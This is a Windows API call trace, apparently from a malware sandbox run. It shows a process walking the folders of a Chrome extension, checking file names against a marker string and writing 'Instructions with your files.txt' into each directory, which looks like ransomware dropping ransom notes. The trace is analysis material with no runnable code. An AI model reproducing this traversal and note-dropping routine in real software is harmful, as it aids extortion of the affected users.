[0130.147] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0130.147] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned 141
[0130.147] GetProcessHeap () returned 0x810000
[0130.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.147] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*") returned 143
[0130.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.147] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\.") returned 143
[0130.147] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.147] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\..") returned 144
[0130.147] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.147] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 155
[0130.147] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.147] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.147] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\Instructions with your files.txt") returned 174
[0130.147] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.148] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.148] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.149] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.149] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.149] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.149] CloseHandle (hObject=0x134) returned 1
[0130.149] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.149] GetProcessHeap () returned 0x810000
[0130.149] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.149] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0130.149] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned 144
[0130.149] GetProcessHeap () returned 0x810000
[0130.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.149] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*") returned 146
[0130.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.149] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\.") returned 146
[0130.149] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.150] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\..") returned 147
[0130.150] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.150] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 158
[0130.150] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.150] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.150] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 177
[0130.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.150] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.151] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.151] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.151] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.151] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.152] CloseHandle (hObject=0x134) returned 1
[0130.152] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.152] GetProcessHeap () returned 0x810000
[0130.152] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.152] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0130.152] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned 144
[0130.152] GetProcessHeap () returned 0x810000
[0130.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.152] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*") returned 146
[0130.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.152] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\.") returned 146
[0130.152] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.152] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\..") returned 147
[0130.152] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.152] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 158
[0130.152] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.152] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.152] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 177
[0130.152] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.153] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.154] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.154] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.154] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.154] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.154] CloseHandle (hObject=0x134) returned 1
[0130.154] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.154] GetProcessHeap () returned 0x810000
[0130.154] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.154] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0130.154] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\Instructions with your files.txt") returned 171
[0130.154] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.155] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.156] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.156] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.156] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.156] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.156] CloseHandle (hObject=0x130) returned 1
[0130.156] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.156] GetProcessHeap () returned 0x810000
[0130.156] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.156] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0130.156] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata") returned 139
[0130.156] GetProcessHeap () returned 0x810000
[0130.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.156] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*") returned 141
